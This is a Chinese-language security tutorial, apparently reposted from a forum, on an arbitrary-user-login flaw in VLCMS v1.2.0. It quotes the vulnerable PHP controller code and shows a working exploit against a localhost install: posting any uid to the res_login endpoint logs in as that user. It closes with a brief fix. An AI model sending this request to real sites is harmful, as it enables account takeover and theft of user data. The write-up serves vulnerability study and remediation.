WEB安全系列之如何挖掘任意用戶登錄漏洞


WEB安全系列之如何挖掘任意用戶登錄漏洞



0x01  前言   
     每周兩篇文章打卡。壞蛋100塊錢都不給我,好壞好壞的。


0x02  什么是任意用戶登錄漏洞
   幾乎每個網站都有自己的會員系統,有會員,就有登錄機制,如果可以登錄其他用戶賬戶,那么就可以竊取其他用戶的資料數據。如果配合上腳本的話,甚至可以批量獲取用戶的數據。對網站來說,任意用戶登錄是一個很高危的漏洞。


0x03  實戰的案例(白盒測試)
     Vlcmsv1.2.0,就拿這套CMS來說吧。
     vlcms/Application/Media/Controller/MemberController.class.php
     post獲取uid傳進autoLogin()中

  1. public function res_login(){
  2.                 parent::autoLogin($_POST['uid']);
  3.                 echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
  4.         }
復制代碼

     將id傳進entity()。

  1. protected function autoLogin($uid){
  2.                 $user =$this->entity($uid);
  3.         /* 記錄登錄SESSION和COOKIES */
  4.         $auth = array(
  5.             'mid'             => $user['id'],
  6.             'account'             => $user['account'],
  7.             'nickname'        => $user['nickname'],
  8.             'balance'         => $user['balance'],
  9.             'last_login_time' => $user['login_time'],
  10.         );
  11.         session('member_auth', $auth);
  12.         session('member_auth_sign', data_auth_sign($auth));
  13.         }
復制代碼

entity中直接根據id查詢賬戶了。。所以只需一個id就能登錄任意用戶。

  1. protected function entity($id){
  2.                 $data = M('User','tab_')->find($id);
  3.                 if(empty($data)){
  4.                         return false;
  5.                 }
  6.                 return $data;
  7.         }
復制代碼


0x04  實戰的案例(黑盒測試)
     http://127.0.0.1/vlcms/index.php?s=/member/res_login/
     POST:uid=60


     訪問后,返回一串代碼。
      <ignore_js_op> 

     接着訪問http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已經成功登錄賬戶


      <ignore_js_op> 
     訪問:post:uid=61
      <ignore_js_op> 
     接着訪問http://127.0.0.1/vlcms/index.php?s=/member/


     成功登錄uid為61的賬戶


      <ignore_js_op> 

0x05  修復建議
     不要用id來判斷賬戶身份。

本文來源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM